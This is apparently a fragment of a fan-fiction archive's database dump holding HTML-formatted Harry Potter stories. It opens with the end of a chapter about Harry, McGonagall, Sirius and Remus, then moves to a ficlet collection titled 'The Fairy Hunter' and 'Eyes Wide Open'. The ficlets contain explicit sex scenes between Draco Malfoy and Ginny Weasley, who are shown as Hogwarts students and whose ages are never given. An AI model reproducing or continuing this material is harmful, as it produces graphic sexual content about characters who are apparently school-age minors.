Potter.&nbsp; You&#8217;ll know.&nbsp; But first, do you trust yourself?&#8221;&nbsp; And the voice was gone, leaving Harry standing there alone.</i></p>\n\n<p><i></i></p>\n\n<p><i>He stamped his foot.&nbsp; &quot;But who </i>are<i> you?&quot;</i></p>\n\n<p>He sat up, glaring at Sal who was now wound around his wrist.&nbsp; <b>&quot;Thanks, Sal.&quot;</b></p>\n\n<p><b></b></p>\n\n<p>The snake sleepily uncurled itself.&nbsp; <b>Welcome, Master Harry.&nbsp; How was it?&nbsp; Did you learn anything?</b></p>\n\n<p><b></b></p>\n\n<p>He rolled his eyes.&nbsp; Apparently his sarcasm was lost on Sal.&nbsp; <b>&quot;It wasn\'t her.&nbsp; It was some other voice, asking for help.&nbsp; And then it told me to find people to trust and that I\'d know who to trust, but first I\'d have to trust myself.&nbsp; So I don\'t think it was very enlightening...it was so odd.&quot;</b></p>\n\n<p><b>Well, perhaps that\'s what you were supposed to do.&nbsp; I was doing only what I Saw and I Saw that you were supposed to dream, for it was important.</b></p>\n\n<p><b></b></p>\n\n<p>Harry stroked Sal, feeling Sal loosen from his wrist.&nbsp; <b>&quot;It was that voice again, you know, the one who screams.&nbsp; It seems so helpless, but how can I help it when I don\'t even know who it <i>is</i>?&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>Perhaps you\'re supposed to figure that out yourself.</b></p>\n\n<p><b></b></p>\n\n<p>Harry rolled his eyes.<b> &quot;Thanks.&nbsp; Really.&nbsp; You helped me out a <i>lot</i>.&nbsp; I mean, how many beings do you think are trapped in the Dream World, Sal?&nbsp; Just think of what Professor Snape said, earlier.&nbsp; Remember?&nbsp; About the different kinds of spirits?&nbsp; Genui, Banshees, the other things...what is it?&nbsp; And what is <i>she</i> anyway?&nbsp; She never says.&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>That\'s because it\'s not important.&nbsp; She has every right to keep secrets from you, Master Harry.&nbsp; And you know she would never harm you.</b></p>\n\n<p><b></b></p>\n\n<p><b>&quot;I know, I know.&nbsp; But still, I don\'t even know her name.&nbsp; And the way I Called to her in the flames...that was so different.&nbsp; I\'ve never done that before.&quot;</b></p>\n\n<p><b></b></p>\n\n<p>Sal slithered down Harry\'s arm.&nbsp; <b>Well, it\'s not up to me to tell you, but you will learn what that is.&nbsp;&nbsp; And you needed her then, did you not?&nbsp; Weren\'t you worried and uncertain?&nbsp; Didn\'t she help you?</b></p>\n\n<p><b></b></p>\n\n<p><b>&quot;She knocked me out.&quot;</b></p>\n\n<p><b></b></p>\n\n<p>Sal hissed what Harry took to be exasperation.&nbsp; <b>That was you.&nbsp; You over-exerted your Power.&nbsp; No, didn\'t you feel better in the flames?&nbsp; If you hadn\'t been so desperate to reach her, to make contact with her, you wouldn\'t have fainted.&nbsp; That was your own foolishness.</b></p>\n\n<p><b></b></p>\n\n<p><b>&quot;You\'re so kind.&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>I\'m not meant to be kind, Master Harry, I\'m meant to tell you the Truth and to Guide you down the Right Path.&nbsp; Do you not understand that we are all here to Guide you?&nbsp; Me, Her, the Voice, others you will meet.&nbsp; Even Lily and James could Guide you, as well as the Potions Master if you\'d let them.</b></p>\n\n<p><b></b></p>\n\n<p><b>&quot;<i>Snape?&nbsp; He\'s</i> supposed to Guide me? Right off a cliff I bet.&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>Was he not truthful with you?&nbsp; Did he not rescue you?</b></p>\n\n<p><b></b></p>\n\n<p>Harry shifted uncomfortably.&nbsp; <b>&quot;Well...yes, I guess so.&nbsp; And he <i>did</i> tell me about my Dad.&nbsp; But he\'s always disliked me...wait...I guess I can understand that as well.&nbsp; I mean, I dislike him and perhaps there\'s a reason why he\'s like he is...&nbsp; After all, he <i>is </i>spying for Dumbledore and I don\'t know anything about his past...&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>Well, there you go.&nbsp; Maybe you should get to know him better before you sentence him.&nbsp; And with Lily and James...I\'m not going to say welcome them with open arms, or treat them as your parents.&nbsp; But treat them as you would, say...an acquaintance you haven\'t seen in many years, as pleasant strangers.&nbsp; And maybe you might find out something surprising.</b></p>\n\n<p><b></b></p>\n\n<p><b>&quot;Well...I guess I could try treating them as strangers...like new teachers, or something&#8230;but I&#8217;m definitely not going to like Snape.&quot;</b></p>\n\n<p><b></b></p>\n\n<p><b>Very well, Master Harry.&nbsp; I must be going now, the Dark Blue is coming.</b></p>\n\n<p><b></b></p>\n\n<p>Sal slithered down the bed.&nbsp; Harry looked puzzled.&nbsp; <b>&quot;Dark Blue-?&quot;</b></p>\n\n<p>But just then the curtains were pulled away and Harry found himself looking into Professor Dumbledore\'s blue eyes.&nbsp; &quot;Hello, Harry.&nbsp; I hope you\'re feeling all right?&quot;</p>\n\n<p>Harry shrugged, sitting up.&nbsp; &quot;I guess.&quot;</p>\n\n<p>&quot;Well, would you like to get up?&quot;</p>\n\n<p>Harry shrugged again.&nbsp; For some reason, he felt different than before.&nbsp; And now he understood why Sal had said the \'Dark Blue\', for Dumbledore was glowing Dark Blue, the same out-line he had seen when he had woken up before, but couldn\'t open his eyes.</p>\n\n<p>Dumbledore said nothing to Harry\'s silence, but he took a seat in the chair Lily had been in before.&nbsp; Clasping his hands together, he leaned over Harry\'s bed.&nbsp; &quot;I assume you have some questions.&nbsp; Do you know what you did, when you fainted like that, Harry?&quot;</p>\n\n<p>Harry shrugged, keeping silent.&nbsp; There was something he couldn\'t place, but he knew for some reason not to say anything.</p>\n\n<p>This time Dumbledore <i>did</i> look puzzled.&nbsp; &quot;Well, Harry, it seems as if you don\'t want to talk.&nbsp; Well, I guess I\'ll come by later.&quot;&nbsp; And he left.</p>\n\n<p>Harry sighed and turned over in his bed, frowning.&nbsp; What had been going on?</p>\n\n<p>&quot;I\'m worried.&quot;&nbsp; Minerva turned to Arabella.&nbsp; &quot;Remember the time when <st1:city><st1:place>Aurora</st1:place></st1:city> wouldn\'t talk to anyone?&quot;</p>\n\n<p>Arabella sipped her tea.&nbsp; &quot;I remember.&nbsp; She was practically comatose.&nbsp; We never <i>did</i> figure out what was wrong with her.&nbsp; Why?&quot;</p>\n\n<p>Minerva stood up, shaking out her robes, something she always seemed to do and stared into the fire.&nbsp; &quot;Because Harry seems to be going in that same direction.&quot;</p>\n\n<p>&quot;Nonsense, Minnie.&nbsp; Harry\'s not that bad off and he hasn\'t been through...or maybe he <i>has</i> been through enough...&quot; She trailed off, looking into her cup.&nbsp; &quot;You know, I\'ve never held much for Divination.&nbsp; But I have to admit that some people have real gifts and-&quot;</p>\n\n<p>&quot;Do you think that\'s what was going on?&nbsp; In the fire?&quot;&nbsp; Minerva poked at it with the poker.&nbsp; The two women were sitting in her chambers, trying to make sense of what had happened in the last few days.</p>\n\n<p>&quot;Could be.&nbsp; Albus, bless his heart, can be extremely cryptic.&nbsp; But the way you described Harry...to tell the truth, there\'s someone else he reminds me off.&quot;</p>\n\n<p>Minerva stopped, turning to her good friend.&nbsp; Even though there was a difference of about sixty years between the two of them, she had always looked up to Arabella and felt fairly close to her, especially after her own elder-sister died and she was left alone.&nbsp; &quot;Who?&nbsp; James?&nbsp; Lily? Anthony?&nbsp; Kenna?&nbsp; <i>Brendan</i>?&quot;&nbsp; At each of Arabella\'s shakes of her head, she began to frown.&nbsp; &quot;Well then, <i>who</i>?&quot;</p>\n\n<p>Arabella stood up herself, gathering her wand.&nbsp; &quot;Who did you not mention, Minnie?&nbsp; Who has already been compared to both Harry and James?&nbsp; Who would fit?&quot;</p>\n\n<p>Minerva almost dropped the book she had pulled out, a photo album from many years ago.&nbsp; &quot;You- no.&nbsp; No way, Arabella, it\'s impossible.&nbsp; You can\'t seriously think-&quot;</p>\n\n<p>&quot;I do.&quot;&nbsp; She said this with a sharp nod of her head.&nbsp; &quot;I very much <i>do</i> think that.&nbsp; Sure, Harry has a lot of Lily in him and no one knows where James gets <i>some</i> of his traits, but still.&nbsp; His personality reminds me so much...sometimes I hate to think about those times.&quot;</p>\n\n<p>Minerva looked down at the album in her hands.&nbsp; &quot;I know what you mean, Arabella, I know what you mean.&nbsp; They were such-no.&nbsp; We can\'t get lost in the past.&nbsp; And anyway, Harry\'s still young and we know what to watch out for.&nbsp; But-just in case, does Albus realise?&quot;</p>\n\n<p>&quot;Of course.&#8221;&nbsp; Arabella shook her head, gathering her cloak.&nbsp; &quot;It\'s really too sad though, to think what it might have been like...if only she... if only he...&quot;</p>\n\n<p>Minerva closed her eyes.&nbsp; &quot;We can\'t live in the past, Arabella.&nbsp; I remember when I learned about Kenna\'s death...it was so hard to bear and I still miss her...and then losing Aurora...and Anthony...and Brendan...and James and Lily and now Harry\'s acting odd and I\'m afraid I\'m going to loose him too.&nbsp; I-just walking into the Common Room, hoping that maybe...<i>perhaps</i> Harry might have fled there...and seeing him in such a trance with the fire...it was shocking.&nbsp; And then the way he just fainted...I was so worried...I mean, he\'s not even-but I still have this connection to him...I\'ve lost everyone except you and Albus and Harry and I don\'t want to have to risk losing him...and the worst thing is that it wasn\'t due to old-age or sickness or something where you can prepare yourself for...or even an accident like falling off a broom or something idiotic like that...they all died during a war.&nbsp; My parents, my family, <i>everyone</i>!&nbsp; Grindelwald and Voldemort and now Voldemort again-&nbsp; and most of them I didn\'t even get to see the bodies...Lily and James, Kenna, my parents, Aurora, Brendan.&nbsp; Only with Anthony... <st1:city><st1:place>Aurora</st1:place></st1:city>\'s body must have been destroyed.&quot;</p>\n\n<p>Arabella stared at her friend in horror.&nbsp; She had no idea how hard Minerva had been taking it.&nbsp; But she had to agree that it was awful, absolutely awful.&nbsp; But she still couldn\'t help adding, &quot;Or else he-&quot; to Minerva\'s last statement.</p>\n\n<p>Minerva opened her eyes.&nbsp; &quot;No, Arabella-why would he?&nbsp; Why?&nbsp; He didn\'t know-he wouldn\'t-&quot;</p>\n\n<p>&quot;How do we not know, Minerva?&nbsp; Maybe he <i>did</i> know.&nbsp; He must have-think.&nbsp; He wasn\'t stupid, you ought to know that.&nbsp; He probably knew all along...or at least when James-&quot; Arabella countered.&nbsp; </p>\n\n<p>&quot;Sixth Year. Oh my God, I never thought.&nbsp; Severus.&nbsp; Of course...Severus would have told his father...who would have told him...and when did she die?&nbsp; About a year after that?&nbsp; He would have researched...tortured information out of people...used spies...and then he went after her...for his revenge.&nbsp; And Anthony got in the way...or he killed him just for fun...and then he-Aurora might not even be dead!&nbsp; She could be kept prisoner-&#8221; Minerva exclaimed, hope rising in her again.&nbsp; And it could be true, she mused...in the muggle world there were stories of prisoners being freed many years later...</p>\n\n<p>But hope came crashing down when Arabella shook her head.&nbsp; &quot;No.&nbsp; Remember, he was gone almost fourteen years.&nbsp; There\'s no way he\'d still have her...he has either killed her or she would have returned.&nbsp; That means she\'s dead...and she probably died when Anthony did.&nbsp; What could he want with her then?&nbsp; She was worthless to him.&nbsp; He probably tortured her and then destroyed the body, as some last defacement.&nbsp; But I\'ll admit that he probably <i>did</i> find out about her because of that werewolf experience with Severus, that\'d make sense...especially since she spent most of her time as an Auror behind the scenes...thanks to Albus and Alastor.&quot;&nbsp; Glancing at the clock, she adjusted her grip on her handbag and cloak.&nbsp; &quot;I really ought to be going, Minerva, have to get back to my cats.&nbsp; But keep in touch.&quot;</p>\n\n<p>And Minerva McGonagall was left alone with memories and an old photo album, which opened to a picture of four very good friends...and she realised that if something were to happen, she\'d better be prepared.&nbsp; Sighing, she grabbed the Floo Powder from a jar on her mantle and threw it into the fire.&nbsp; &quot;Fayre\'s Grove!&nbsp; McKenna!&quot;</p>\n\n<p>She was gone.</p>\n\n<p>&quot;I\'m bored.&quot;</p>\n\n<p>Remus Lupin rolled his eyes and kept on reading.</p>\n\n<p>&quot;I\'m <i>bored.</i>&quot;</p>\n\n<p>He ignored it again.</p>\n\n<p>&quot;Did you hear me?&nbsp; I\'m <i>b-o-r-e-d.</i>&quot;</p>\n\n<p>He ignored it again, turning a page.</p>\n\n<p>&quot;If you don\'t pay attention to me right now, I\'m going to turn into a dog and lift my leg in your bedroom.&quot;</p>\n\n<p><i>That</i> got his attention.&nbsp; &quot;Sirius Adam Black, if you dare make one <i>step</i> towards my bedroom I will personally curse you from here to Hogwarts.&quot;</p>\n\n<p>Sirius yawned and shrugged.&nbsp; &quot;Well, entertain me then.&nbsp; I\'m bored.&quot;</p>\n\n<p>Remus finally groaned and put his book down.&nbsp; It was fairly obvious that he wasn\'t going to get anymore reading done.&nbsp; &quot;Let me get this straight...you\'re thirty-four years old, a fully trained wizard who studied as an Auror, who went to Azkaban and managed to escape and now you even have a wand, because Albus Dumbledore for some reason has decided to trust <i>you</i>, one of the worst pranksters ever with a wand...and you still have the mentality of a three year-old.&quot;</p>\n\n<p>Sirius looked hurt.&nbsp; &quot;I\'d say at <i>least</i> five.&quot;</p>\n\n<p>Remus found his eyes rolling again.&nbsp; &quot;Whatever.&nbsp; My point is that I think you\'re old enough to find something to do on your <i>own</i>.&quot;</p>\n\n<p>&quot;But I don\'t <i>want</i> to.&quot;&nbsp; Sirius whined.&nbsp; Remus felt like smashing his head on the table.</p>\n\n<p>&quot;Then go...bother Gus Fletcher...or go to Hogwarts.&nbsp; I don\'t care.&nbsp; But I want to <i>read</i>.&quot;</p>\n\n<p>Sirius managed to look more pleased.&nbsp; &quot;I can go bother Gus?&nbsp; Really?&nbsp; But he\'ll hex me...oh well.&nbsp; I\'m going.&quot;</p>\n\n<p>Remus sighed in happiness as Sirius apparated away.&nbsp; Even though Sirius <i>was</i> his best friend, Sirius was, well...Sirius.&nbsp; He had the attention span of a three year-old, the maturity of a five year-old and sometimes the personality of a dog.&nbsp; Apparently spending those years as a dog <i>wasn\'t</i> such a good idea.</p>\n\n<p>But now he was able to read his book and perhaps have a cup of tea and not be disturbed.&nbsp; That is, until Sirius apparated in again.&nbsp; And Remus remembered that on Thursdays Mundungus Fletcher, Gus for short, happened to be in some shady wizarding pub where Remus personally didn\'t care what they did.</p>\n\n<p>&quot;Gus wasn\'t there.&quot;&nbsp; Sirius immediately said, beginning to hop across the room.</p>\n\n<p>Remus shut his eyes.&nbsp; &quot;I gathered that.&quot;</p>\n\n<p>&quot;So I\'m going to Hogwarts.&quot;</p>\n\n<p>&quot;Very well.&quot;</p>\n\n<p>&quot;And you\'re coming with me.&quot;&nbsp; And before Remus could do anything, Sirius had already grabbed his arm, the Floo Powder and jumped with him into the fire place, calling out &quot;Hogwarts, Headmaster\'s Office!&quot;</p>\n\n<p>And they disappeared.</p>\n\n<p>&nbsp;</p>\n\n<p>When Albus Dumbledore returned to his office, he found James Potter standing there, peering at all the various books.&nbsp; He shut the door quietly.&nbsp; &quot;I would have thought you&#8217;d already have seen these books for all the times you\'ve been in my office.&quot;</p>\n\n<p>James gave him a world weary smile.&nbsp; &quot;I know...it\'s just that they always seem different...and in the beginning I couldn\'t care.&nbsp; I was too busy trying to get out of various punishments.&quot;</p>\n\n<p>Albus leaned back in his chair, hearing it creak as he folded his hands upon his lap.&nbsp; &quot;You wish to talk to me?&quot;</p>\n\n<p>James nodded, taking a seat.&nbsp; He hunched in his seat, taking a deep breath.&nbsp; &quot;I-sir, it\'s about Lily.&quot;</p>\n\n<p>Albus nodded.&nbsp; &quot;I thought as much.&nbsp; May I inquire as to where she is and her condition?&nbsp; And please, James, you don\'t have to call me \'sir\' any more.&quot;</p>\n\n<p>James nodded and closed his eyes, putting his head in his hands.&nbsp; It hurt Albus to see James like this.&nbsp; This was such a different James from what he had once known...but then, deep inside, there was still that fire that made James <i>James</i>.&nbsp; James was one of a kind, Albus had once said to a contented mother who had once been very dear to him.&nbsp; No one could pick out the traits that made up James, because he made each and every one to his own.</p>\n\n<p>Finally James spoke.&nbsp; &quot;Lily\'s still unconscious and she\'s in our chambers.&nbsp; Biddy the Elf is watching her for me.&nbsp; But...Jesus I have no idea where to begin.&nbsp; I thought I ought to tell you everything...not just about Lily\'s sickness...but about everything else in our lives as well...because that also has something to do with Lily\'s condition.&quot;</p>\n\n<p>Albus nodded, sitting up straight and folding his hands on his desk.&nbsp; &quot;Go on, James.&quot;&nbsp; He had been expecting there was more to the story than James had told and he was glad that he wasn&#8217;t going to have to wait very long.</p>\n\n<p>Looking him straight in the eye, James took a deep breath.&nbsp; &quot;About eight or so years ago, Lily and I separated...and we were very close to getting a divorce.&quot;</p>\n\n<p>But before he could continue or Dumbledore could do anything, a rumbling was heard in the fire place as the flames turned green and two people came flying out of it.&nbsp; James just stared in shock.</p>\n\n<p>&quot;<i>Sirius</i>?&nbsp; <i>Remus</i>?&quot;</p>\n\n<p>So&#8230;what do you think?&nbsp;&nbsp; Expect Chapter Eleven soon, like in the next few days.</p>\n\n<p>Re: James calling Sirius &#8216;Sirius&#8217; and Remus &#8216;Remus&#8217;- he&#8217;s not expecting to see them and they&#8217;re not <i>his</i> MP.&nbsp; Plus he hasn&#8217;t seen his own Remus in a while and well, he&#8217;s just kind of confused.&nbsp; But yes- even though my explanation doesn&#8217;t make sense, I <i>did</i> do it for a reason&#8230;just that I can&#8217;t remember that reason&#8230;</p>\n\n<p>Chapter 11: Hermione appears, along with Ginny.&nbsp; We gain some info about the Weasley family and Hermione&#8217;s thoughts and feelings.&nbsp; Lily&#8217;s condition is explained a bit more and we get a bit more into Harry&#8217;s mind.&nbsp; And of course the reunion of MPP and a bit with McGonagall and an old friend&#8230; it&#8217;s almost 22 pages, so be glad.&nbsp; That&#8217;s twice the size of this chapter <i>counting</i> ANs.</p> '),
	(139, 1, '\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Introduction:</p>\n<p>~~~~~~~~</p>\n<p>&nbsp;</p>\n<p>The ficlets to follow are a collection of short stories written in different \n  points of view giving glimpses into the relationship of Draco Malfoy and Ginny \n  Weasley before my novel length fic &quot;Requital&quot;. They are very detailed, \n  and I hope you find them beautiful, but please do not read these if you are \n  under the age of 18. Thank you.</p>\n<p>Best regards, </p>\n<p><i>Msscribe</i></p>\n<p>Pictures currently being drawn to illustrate this collection will be found \n  at http://www.geocities.com/sarahkjames2003</p>\n<p>&nbsp;</p>\n\n\n'),
	(139, 2, '\n<u>The Fairy Hunter</u>\n<p>&nbsp;</p>\n<p>They had this game they used to play for hours on end when they were just children.&nbsp; \n  Ron would tromp around the yard with a stick carved to look like their father&#8217;s \n  wand and he&#8217;d go &#8220;fairy hunting&#8221;.</p>\n<p>Ginny was always the fairy.</p>\n<p>She&#8217;d hide in various places, leaving hints as to where he could find her, \n  and when he did, he&#8217;d tickle her into revealing to him what secret treasure \n  she had hidden, usually one of their Mum&#8217;s collectable figurines.</p>\n<p>Sometimes it felt like they were still playing games, but she couldn&#8217;t let \n  Ron catch her this time.&nbsp; He would never understand.</p>\n<p>The first time she spoke to Draco Malfoy alone, it was so dark that she got \n  no more than a glimpse of his scarlet face and pale blonde hair.&nbsp; Sweat gleamed \n  on his body and chest, and desire curled inside of her, despite her initial \n  revulsion of who she knew him to be.&nbsp; </p>\n<p>Draco was walking back towards the castle, after sneaking out for a late night \n  run.&nbsp; His guard was down, or else he might have collected himself and brushed \n  past her.&nbsp; </p>\n<p>He didn&#8217;t.&nbsp; Instead he approached her.&nbsp; He told her much later that he thought \n  she was some lovely witch he hadn&#8217;t met before, and didn&#8217;t recognize her until \n  he&#8217;d gotten so close it would have been awkward not to speak, so he did.</p>\n<p>&#8220;That hot-headed brother of yours hasn&#8217;t put a curfew on you yet Virginia?&#8221;</p>\n<p>She sat in shock at first, not quite believing that his tone was almost civil.</p>\n<p>&#8220;You know nothing about me Draco Malfoy, and I am very much my own person,&#8221; \n  Ginny rebuked haughtily. &#8220;Besides, I&#8217;m just sitting out here drowning my sorrows \n  after that potions exam I had today.&#8221;</p>\n<p>She was sipping a butterbeer, and hiding from her chatterbox roommates.</p>\n<p>He stood over her, and she thought she saw something resembling understanding \n  flash in his eyes.</p>\n<p>&#8220;Makes perfect sense,&#8221; he said.</p>\n<p>Then he made the offer.</p>\n<p>&#8220;If you&#8217;re tired of sitting out here, I was just about to open a bottle of \n  wine,&#8221;</p>\n<p>Coming from anyone else, it would have been a nice gesture.&nbsp; Coming from a \n  Malfoy, the gesture was highly suspicious.&nbsp; But his eyes were so sincere, and \n  his smile was so inviting.</p>\n<p>She accepted.&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p><i>2:36 am that morning.</i></p>\n<p>On the wall opposite Draco Malfoy&#8217;s bed there was a small desk chair draped \n  with clothing, an empty bottle of vintage red wine, and a picture of Narcissa \n  Malfoy.&nbsp; Draco lay between Ginny&#8217;s legs, licking her.&nbsp; She trembled.&nbsp; He plunged \n  his face between her thighs, gripping her buttocks with his hands.&nbsp; </p>\n<p>She gasped.&nbsp; Her hands clung to his shoulder blades, bringing his head back \n  up to her mouth.&nbsp; She pulled her arms above her head, gripping the pillow as \n  he slid into her.&nbsp; </p>\n<p>They came together that night, writhing like snakes.&nbsp; When she stood to dress, \n  he only seemed slightly disappointed with her leaving.</p>\n<p>&#8220;I&#8217;m not much for goodbyes,&#8221; she said.</p>\n<p>She was feeling a little sick for giving in to physical desire so quickly.&nbsp; \n</p>\n<p>&#8220;So don&#8217;t leave,&#8221; he said, pulling her down beside him again, with sincerity \n  uncharacteristic of him.</p>\n<p style="text-align:center" align="center">#</p>\n<p>At breakfast, Ginny was at her big brother&#8217;s side.&nbsp; She forced herself not \n  to glance back at the Slytherin table.&nbsp; Ron was telling Harry and Hermione an \n  obnoxious joke he&#8217;d heard while they were in Bulgaria visiting Charlie.&nbsp;&nbsp; Harry \n  found it amusing, but Hermione just shook her head.</p>\n<p>Ginny couldn&#8217;t remember the joke, but she did remember feeling a hand caress \n  her back lightly as someone hurriedly brushed past her.&nbsp; She forced herself \n  not to turn around.&nbsp; </p>\n<p>The contact had gone unnoticed by everyone else at the table.&nbsp; Ron tousled \n  her hair and took a left over biscuit from her plate.&nbsp; He still looked at her \n  like she was six years old.&nbsp; Ginny wasn&#8217;t ready for that to change.</p>\n<p>She took a blank page from her notes and began to write.&nbsp; She was very good, \n  after all at playing games.</p>\n<p style="text-align:center" align="center">#</p>\n<p><i>12:13 am the next afternoon, they decided to skip lunch.</i></p>\n<p>Ginny dropped her backpack onto his dresser.&nbsp; They were holding each other&#8217;s \n  gaze with unwavering control, unsure about what exactly they were doing.&nbsp; </p>\n<p>Draco walked slowly towards her.&nbsp; He reached over to her shoulders, gently \n  pulling her body into contact with his.&nbsp; Her arms met his, embracing him.&nbsp; Her \n  breasts were pressed against his hard chest, her pubic bone to his hardening \n  cock, their thighs touching.&nbsp; They began to kiss, slowly and gently at first, \n  and then with a sweep of his tongue, he took her entire mouth in his.&nbsp; He moaned, \n  and moved to nibble her ear.&nbsp; Robes were quickly discarded, and they lay against \n  one another, seeking out the radiant pleasure from the day before.</p>\n<p>He kissed and licked her belly down to the top of her underpants, grasping \n  the elastic band in his mouth and pulling them off.&nbsp;&nbsp; </p>\n<p>Then he stopped.&nbsp; Taking Ginny&#8217;s hand firmly by the wrist, he pulled her to \n  her feet and she knelt before him, taking him in.&nbsp; She had only done this once \n  before, with her first boyfriend who she had eventually lost her virginity to \n  in fifth year.&nbsp; Her ex had a bitter taste she found only tolerable, but Draco \n  was different.&nbsp; His taste was like syrup, and she was dizzy with his smell.&nbsp; \n</p>\n<p>Draco moaned continuously now as she lay back onto the bed to wait for him \n  to take her.&nbsp; His body pushed into her hard, stilling into a strong thrusted \n  orgasm that seemed to last for minutes.&nbsp;&nbsp; He was lost in her skin, fascinated \n  by the desire that raged within this picture of innocence.&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>Ginny lay next to Ron, kissing his forehead.</p>\n<p>&#8220;Wake up big brother,&#8221; she said playfully.</p>\n<p>Ron swatted her away.&nbsp; &#8220;Christ, what time is it?&#8221;</p>\n<p>Ginny stood and yanked the blankets off of him.&nbsp; </p>\n<p>&#8220;It&#8217;s already ten and we told Mum we&#8217;d be at the Burrow by noon!&#8221;</p>\n<p>Ron groaned and threw a menacing look in Harry&#8217;s direction.</p>\n<p>&#8220;Why do you let her in here?&#8221;</p>\n<p>Harry laughed, &#8220;So I don&#8217;t have to wake you up.&nbsp; You do realize you can be \n  a bit cranky don&#8217;t you?&#8221;</p>\n<p>Ginny giggled, and started to toss clean clothes at her brother.&nbsp; He smiled \n  reluctantly and grabbed her by the waist, tossing her onto his bed.&nbsp; </p>\n<p>Merciless tickles.&nbsp; </p>\n<p>&#8220;Alright&#8230;Alright.&nbsp; I&#8217;m sorry!!&nbsp; But hurry up please,&#8221; she said, near exhaustion.</p>\n<p>She loved Ron.&nbsp; Ron was like her twin.&nbsp; They held hands, shared secrets, cried \n  on each other&#8217;s shoulders.&nbsp; To him she would always be this little girl.&nbsp; To \n  him she would always be in need of protection, shelter.&nbsp; To Ron, she would always \n  be little Ginny.&nbsp; </p>\n<p>She loved Ron, and that he saw her that way.&nbsp; She couldn&#8217;t see Malfoy anymore.&nbsp; \n  Ron&#8217;s anger wouldn&#8217;t kill her, but she&#8217;d die if Ron looked at her with the same \n  disgust he had for Draco.&nbsp;&nbsp;&nbsp; </p>\n<p class="MsoBodyText"><i>&#8220;I&#8217;ve found you Fairy!&nbsp; Now you have to tell me!&nbsp; You \n  have to tell me what you&#8217;re hiding&#8221;, Ron used to say pinning her to the ground. \n  Ginny would struggle against him for a few minutes, trying to tickle him back.&nbsp; \n  Then she&#8217;d give in and tell what she had hidden.</i></p>\n<p>She watched him toss a few more things into his overnight bag, and he held \n  up two sweaters.&nbsp; She pointed to the blue one.&nbsp; His eyes connected with hers \n  for a moment.&nbsp; He saw her sadness and responded with a questioning look.&nbsp; </p>\n<p><i>I can&#8217;t tell you my secret this time Ron</i> </p>\n<p style="text-align:center" align="center">#</p>\n<p>&#8220;We can&#8217;t,&#8221; she told Draco two days later. </p>\n<p>She didn&#8217;t expect him to look so hurt.</p>\n<p>&#8220;I guess I knew you&#8217;d eventually put a stop to it,&#8221; he said &#8220;It was beginning \n  to become a bit confusing and distracting for me as well.&#8221;</p>\n<p>Ginny was contemplating ways to take back what she had just said.&nbsp; Draco just \n  stared through her.&nbsp; She walked out, regret building up inside of her.</p>\n<p style="text-align:center" align="center">#</p>\n<p>&#8220;Ginny, you&#8217;ve been a little down in the dumps.&nbsp; Is everything all right?&nbsp; \n  Is it the Holiday&#8217;s coming up?&#8221; Ron asked one week later.</p>\n<p>&#8220;I&#8217;m fine, just a little tired,&#8221; she replied.</p>\n<p>She took his hand.</p>\n<p>&#8220;I love you,&#8221; she said, kissing him on the cheek.</p>\n<p>They were used to this sort of affection.&nbsp; </p>\n<p>&#8220;I love you too sis,&#8221; he said, returning her kiss and putting his arm around \n  her shoulders. &#8220;You know you can come to me if you ever want to talk.&#8221;</p>\n<p>She shoved her other hand into her pocket, pushing down the map that Draco \n  had given her that evening.&nbsp; A tiny lamp marked where his room was at Malfoy \n  Manor.&nbsp; She had told herself she would throw it away, but she couldn&#8217;t.&nbsp; Not \n  when she still caught him staring at her.&nbsp; </p>\n<p>&#8220;I know Ron.&nbsp; I know,&#8221; she said, falling into the crook of his arm.</p>\n<p class="MsoBodyText"><i>Some things need to stay hidden.</i></p>\n\n\n'),
	(139, 3, '\n<u>Eyes Wide Open</u>\n<p>Ginny keeps her eyes open the whole time. She is the first girl he remembers \n  making love to who has done so.&nbsp; <i>What a wonderful quirk</i>, he thinks. Draco \n  kisses her sweet lips with all the tenderness he can muster, unable to fully \n  express the epiphany he has just experienced.</p>\n<p>The cover of his bed is rumpled, neither bothering to pull it down to uncover \n  the sheets.&nbsp; He stands to pour himself a glass of water.&nbsp; He&#8217;s covered in her \n  scent.&nbsp; His throat is hoarse and dry.</p>\n<p>&#8220;Do you have a bathtub in this enormous place?&#8221; she asks, sitting up now.</p>\n<p>He nods and points to the door in the corner of his room.&nbsp; She runs the water \n  and he can hear her getting in.&nbsp; He decides to join her.&nbsp; His small tub barely \n  contains the two of them.</p>\n<p>He soaps her, his hands lingering over her breasts, lathering them until they \n  shine like pink pearls.&nbsp; She lies back on his chest and sighs.&nbsp; Draco tries \n  to manipulate himself into a position where he can enter her, but the tub is \n  too small and so he closes his eyes, thinking about the exquisite beauty pressed \n  against him.&nbsp; He runs his fingers through her tousled hair and sucks in his \n  breath as she wraps her hand around him..</p>\n<p>A surge passes through his body and he lets her control him for a while, her \n  soft wet hands gliding across his erection.&nbsp; He slips a finger into her sex \n  and feels the unbearable heat there.&nbsp; She moans softly.</p>\n<p>&#8220;You&#8217;re so sensitive,&#8221; he remarks.</p>\n<p>&#8220;I know, I know,&#8221; she replies.</p>\n<p style="text-align:center" align="center">#</p>\n<p>She makes it back to the Burrow in time for the Weasley&#8217;s annual Christmas \n  Party, and he sulks around most of the day.&nbsp; He doesn&#8217;t bother asking when she&#8217;ll \n  return, or even if she&#8217;ll return.&nbsp; To be honest, he hadn&#8217;t expected her to visit \n  at all.&nbsp; Giving her that map had been a desperate act of wishful thinking, so \n  when he had heard the tunnel door opening up, his blood had surged with anticipation.&nbsp; \n</p>\n<p>He is still daydreaming about their most recent encounter.&nbsp; He decides that \n  he wants her, despite the consequences.&nbsp; </p>\n<p>Lucius comes into his room, his face flushed, something about wanting Draco \n  to accompany him to an important meeting.&nbsp; He&#8217;s put off by his son&#8217;s melancholy \n  mood and decides he&#8217;ll have to force him to leave his room today.&nbsp; He doesn&#8217;t \n  do it out of concern for the young man.</p>\n<p>It&#8217;s Christmas Eve after all.&nbsp; </p>\n<p>His Christmas is filled with expensive gifts, all from his mother who has dutifully \n  signed his father&#8217;s name to a few of the tags.&nbsp; Lucius doesn&#8217;t bother to join \n  them for Christmas dinner, but Draco prefers it that way anyhow.&nbsp; </p>\n<p>He buys something for her.&nbsp; Pink pearl earrings that he thinks will go with \n  her red hair.&nbsp; That&#8217;s when he 